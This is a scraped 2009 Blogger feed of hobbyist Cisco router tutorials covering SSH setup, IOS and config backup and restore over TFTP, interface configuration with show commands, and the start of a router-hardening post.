href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SqbTe_YREnI/AAAAAAAABOg/SfK_KsRtBak/s1600-h/ssh+login.PNG"&gt;&lt;img src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SqbTe_YREnI/AAAAAAAABOg/SfK_KsRtBak/s320/ssh+login.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5379219334303388274" style="cursor: pointer; width: 320px; height: 113px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And a quick packet capture shows me that I am encrypting my traffic with SSH.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SqbZaHZ7aUI/AAAAAAAABOw/DrxBN6QFBRw/s1600-h/Capture.PNG"&gt;&lt;img src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SqbZaHZ7aUI/AAAAAAAABOw/DrxBN6QFBRw/s320/Capture.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5379225847628261698" style="cursor: pointer; width: 320px; height: 138px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-5681194042214496812?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/5681194042214496812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=5681194042214496812&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5681194042214496812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5681194042214496812'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/09/setting-up-ssh-on-cisco-router.html' title='Setting Up SSH on a Cisco Router'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_vZAp7b1QDw8/SqbTVoVf88I/AAAAAAAABOY/fLttyCllyAE/s72-c/ssh-cert.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-7500902149701862727</id><published>2009-09-04T23:33:00.010+01:00</published><updated>2009-09-08T23:26:47.575+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>Backup &amp; Restore IOS and Configs</title><content type='html'>As with any aspect of computer data, the IOS and the router configs need backing up. This is pretty simple and in this post post I'll show a few different ways of doing this. &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Backing Up&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First the easy way. Copy and Paste.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Using the show commands you can output the running-config or the startup-config to screen. This config can be copied and pasted directly into a text file. In Windows use Wordpad as it keeps the formatting better. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;Router#show running-config&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SqGY_A70knI/AAAAAAAABN4/61nrZewCI5k/s1600-h/Screen+shot+2009-09-04+at+23.40.44.png"&gt;&lt;img style="WIDTH: 320px; HEIGHT: 245px; CURSOR: pointer" id="BLOGGER_PHOTO_ID_5377747638407172722" border="0" alt="" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SqGY_A70knI/AAAAAAAABN4/61nrZewCI5k/s320/Screen+shot+2009-09-04+at+23.40.44.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You need to copy everything from and including the exclamation mark under the line "Current Configuration" to the last line (and including) which starts with "end".&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And when you are restoring it just get yourself into configure mode (Configure Terminal) and paste it back in. Simple!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now using TFTP.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Get yourself something running a TFTP Server. A nice free one is TFTPd32.&lt;/div&gt;&lt;div&gt;From your router make sure you have connectivity to your TFTP Server by pinging it. Then we use the Dir command to check the IOS name and the copy command to copy the IOS and the config to our TFTP Server.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;Router#dir flash:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;Router#copy flash:c831-k9o3y6-mz.124-4.T1.bin tftp&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;Address or name of remote host []? 10.0.1.11 &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;Destination filename [c831-k9o3y6-mz.124-4.T1.bin]? &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;Router#copy startup-config tftp://10.0.1.11/startup-config&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;Address or name of remote host [10.0.1.11]? &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;Destination filename [startup-config]? &lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SqGdVqbE9FI/AAAAAAAABOA/wRMi8-tKTj0/s1600-h/Screen+shot+2009-09-04+at+23.24.42.png"&gt;&lt;img style="WIDTH: 320px; HEIGHT: 244px; CURSOR: pointer" id="BLOGGER_PHOTO_ID_5377752425547756626" border="0" alt="" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SqGdVqbE9FI/AAAAAAAABOA/wRMi8-tKTj0/s320/Screen+shot+2009-09-04+at+23.24.42.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So in the example above, for the IOS i just specify I want to copy the file to TFTP. I then get prompted for an IP Address and asked to confirm the filename by pressing enter.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For the Startup-Config I specify the TFTP server and filename after the copy command. This way I only get asked to press enter to confirm both the IP and the filename.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And below I can see the progress of my copy to the TFTP Server.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SqGe0FBXXbI/AAAAAAAABOI/9NBdPxyUMdo/s1600-h/Screen+shot+2009-09-04+at+23.26.30.png"&gt;&lt;img style="WIDTH: 320px; HEIGHT: 266px; CURSOR: pointer" id="BLOGGER_PHOTO_ID_5377754047595371954" border="0" alt="" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SqGe0FBXXbI/AAAAAAAABOI/9NBdPxyUMdo/s320/Screen+shot+2009-09-04+at+23.26.30.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SqGe6BnW-5I/AAAAAAAABOQ/C_FX-oNGJog/s1600-h/Screen+shot+2009-09-04+at+23.28.40.png"&gt;&lt;img style="WIDTH: 320px; HEIGHT: 198px; CURSOR: pointer" id="BLOGGER_PHOTO_ID_5377754149760203666" border="0" alt="" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SqGe6BnW-5I/AAAAAAAABOQ/C_FX-oNGJog/s320/Screen+shot+2009-09-04+at+23.28.40.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;One final note on backing up. Recently I was having an issue with the NVRAM holding my startup-config and I got tired of hooking up my TFTP Server. So I copied it to flash and simply restored it to running-config from there using the following command:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;Router#copy flash:startup-confg running-config&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Restoring&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Restoring is just really the oposite.  To grab the config from a TFTP server I would use:&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;span style="color:#33ff33;"&gt;copy tftp://10.0.1.3/startup-config running-config&lt;/span&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;or for the IOS:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;span style="color:#33ff33;"&gt;copy tftp://10.0.1.3/ios-file-name.bin flash:ios-file-name.bin&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The only points here are:&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;ul&gt;&lt;li&gt;If your IOS is larger than the free space in flash it will overwrite the existing IOS in flash.  But be sure &lt;b&gt;not&lt;/b&gt; to reboot a router between deleting an IOS file from flash and restoring the new one.&lt;/li&gt;&lt;li&gt;After restoring a config all interfaces are placed in a shutdown state.&lt;/li&gt;&lt;li&gt;Restored configs merge into existing configs so if this isn't what you want use the erase command before restoring.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-7500902149701862727?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/7500902149701862727/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=7500902149701862727&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/7500902149701862727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/7500902149701862727'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/09/backup-restore-ios-and-configs.html' title='Backup &amp; Restore IOS and Configs'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_vZAp7b1QDw8/SqGY_A70knI/AAAAAAAABN4/61nrZewCI5k/s72-c/Screen+shot+2009-09-04+at+23.40.44.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-8281218310785500749</id><published>2009-08-24T18:57:00.013+01:00</published><updated>2009-08-24T22:16:55.415+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>Configuring Router Interfaces</title><content type='html'>In this post I'll cover the configuration of an ethernet interface on the router, and I'll demonstrate commands to interrogate and help troubleshoot the interfaces.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Lab Setup&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In this lab I'll have two router and I'll configure them to talk to each other&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SpL6JJXanoI/AAAAAAAABNE/-rSjzLNA1Do/s1600-h/Picture+3.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 250px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SpL6JJXanoI/AAAAAAAABNE/-rSjzLNA1Do/s320/Picture+3.png" alt="" id="BLOGGER_PHOTO_ID_5373632340446322306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To start with you might want to clarify exactly which interfaces your router might have. This can be done visually (by looking at the device) or by using some of the excellent show commands.&lt;br /&gt;&lt;br /&gt;The show version command will print to the screen exactly which interfaces are installed.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;R0&gt;en&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;Ro#show version&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SpL3j5tL9zI/AAAAAAAABM0/hiYWEGTVHrw/s1600-h/Picture+1.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 312px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SpL3j5tL9zI/AAAAAAAABM0/hiYWEGTVHrw/s400/Picture+1.png" alt="" id="BLOGGER_PHOTO_ID_5373629501564254002" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The show interfaces command gives details on the configuration of the interface, setting such as duplex and speed, and it will also show traffic statistics.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);font-family:Arial;font-size:medium;"  &gt;&lt;span&gt;&lt;span class="Apple-style-span"&gt;R0#&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;show interfaces&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SpL41iOjvlI/AAAAAAAABM8/HmaicbNLAXQ/s1600-h/Picture+2.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 206px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SpL41iOjvlI/AAAAAAAABM8/HmaicbNLAXQ/s320/Picture+2.png" alt="" id="BLOGGER_PHOTO_ID_5373630904011046482" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you have many interfaces in your router you can just focus on a single interface using the interface number (remember, slot/port):&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;R0#show interfaces fastethernet 0/0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From the output I can see that the interface isn't configured.  I'll configure that port and then take another look. I'll go into configuration mode select the interface, give it an IP address and subnet mask then tell it not to be in the shutdown state. Remember, by default all ports are in a shutdown state. Another import thing to remember is if you restore your config from a backup the ports will need to be taken out of the shutdown state manually.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);font-family:Arial;font-size:medium;"  &gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;enable&lt;/span&gt; &lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);font-family:Arial;font-size:medium;"  &gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;R0#&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;configure terminal&lt;/span&gt; &lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);font-family:Arial;font-size:medium;"  &gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;R0(config)#&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;interface fastethernet 0/0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;R0(config-if)#ip address 192.168.1.1 255.255.255.252&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;R0(config-if)#no shut&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;R0(config-if)#exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SpL8J0dsZXI/AAAAAAAABNM/svR-Kp2qSSM/s1600-h/Picture+4.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 106px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SpL8J0dsZXI/AAAAAAAABNM/svR-Kp2qSSM/s320/Picture+4.png" alt="" id="BLOGGER_PHOTO_ID_5373634551038633330" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I saw the line come up when I was setting the port up, so now i'll ping my other router.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SpL_yKd01II/AAAAAAAABNU/PQAoH0e-tEk/s1600-h/Picture+5.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 255px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SpL_yKd01II/AAAAAAAABNU/PQAoH0e-tEk/s320/Picture+5.png" alt="" id="BLOGGER_PHOTO_ID_5373638542674416770" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Wel the ping came back fine and after another look at the interface I can see it has the right IP address and the counters are updating nicely.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Another great command for looking at the interface is:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;R0#show ip interface fastethernet 0/0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SpMA4e3oQ1I/AAAAAAAABNc/LnNmdYwyim0/s1600-h/Picture+6.png"&gt;&lt;img style="cursor: pointer; width: 271px; height: 320px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SpMA4e3oQ1I/AAAAAAAABNc/LnNmdYwyim0/s320/Picture+6.png" alt="" id="BLOGGER_PHOTO_ID_5373639750742197074" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This shows me absolutely everything that is set or can be set on the interface.&lt;br /&gt;&lt;br /&gt;And finally one last command for looking at the interface status in a nice condensed format is:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;R0#show ip interface brief&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here I see all interfaces, what there IP addresses are and whether they are up or not.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SpMB_fqEf-I/AAAAAAAABNk/jT-S5SfXMxw/s1600-h/Picture+8.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 79px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SpMB_fqEf-I/AAAAAAAABNk/jT-S5SfXMxw/s320/Picture+8.png" alt="" id="BLOGGER_PHOTO_ID_5373640970724474850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So this has been a quick post on setting up an interface with an IP address and using some handy show commands to check the interface.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-8281218310785500749?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/8281218310785500749/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=8281218310785500749&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/8281218310785500749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/8281218310785500749'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/08/configuring-router-interfaces.html' title='Configuring Router Interfaces'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_vZAp7b1QDw8/SpL6JJXanoI/AAAAAAAABNE/-rSjzLNA1Do/s72-c/Picture+3.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-2368547823399749523</id><published>2009-08-16T21:26:00.010+01:00</published><updated>2009-08-24T22:14:40.474+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>Securing My Router</title><content type='html'>&lt;span class="Apple-style-span" style=";font-family:Arial;font-size:medium;"  &gt;&lt;div&gt;In this post i'll cover the following:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Giving the router a name&lt;/li&gt;&lt;li&gt;Setting up a enable (privilege) mode password&lt;/li&gt;&lt;li&gt;Setting the domain name, the clock and pointing it to a DNS server&lt;/li&gt;&lt;li&gt;Securing the Console and Aux ports&lt;/li&gt;&lt;li&gt;Creating a banner&lt;/li&gt;&lt;li&gt;Saving the config&lt;/li&gt;&lt;li&gt;Removing unnecessary services&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;Right. So I've got my test lab set up.  To start with i'll just have one router called R0. I'll demonstrate how to configure the router and secure it.&lt;/span&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SohvrqJEwxI/AAAAAAAABL0/HXNbjxTIx2g/s1600-h/Picture+1.png"&gt;&lt;img src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SohvrqJEwxI/AAAAAAAABL0/HXNbjxTIx2g/s320/Picture+1.png" alt="" id="BLOGGER_PHOTO_ID_5370665351476724498" style="cursor: pointer; width: 320px; height: 190px;" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,-webkit-fantasy;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;I bring up the console after starting R0 and Terminal (on the Mac by the way) acts as if I was physically connected to the console port on the router itself.  After the IOS decompresses and is loaded into RAM I'm prompted to enter the initial configuration setup.  I say no to this as I will be manually configuring the router.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The first thing I want to do is give my router an Enable password.  The reason for doing so is after I give the interface an IP address there is a window of opportunity for someone to look at the configuration and glean some information that I might not necessarily want them to see.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;I enter the Enable mode by typing:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;Router&gt;enable&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This will change the prompt from a &gt; symbol to a hash #. Before you enter into the Enable mode there are only limited commands available, these can be viewed by typing ? at the prompt as shown in the previous post.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Remember, the hash symbol will be present whenever I am in the Enable mode, and it's from here that I can perform configuration and diagnostic tasks.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;Router#configure terminal&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;To configure an enable password as "letmein" I type:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;Router(config)#enable secret letmein&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This will create a password for the Enable mode and within the configuration it will be encrypted.  The password is encrypted with Type 5 encryption (I'll come back to this in a bit).&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;After this I'll give my router a name and a DNS domain name, set the clock and tell it what DNS Servers to use:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;Router(config)#hostname R0&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#ip domain name &lt;/span&gt;&lt;a href="http://home.local/"&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;home.local&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#ip name-server 10.0.1.1&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#exit&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0#clock set 22:00:00 16 aug 2009&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Notice that my prompt changed to reflect my new name.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,-webkit-fantasy;"&gt;&lt;br 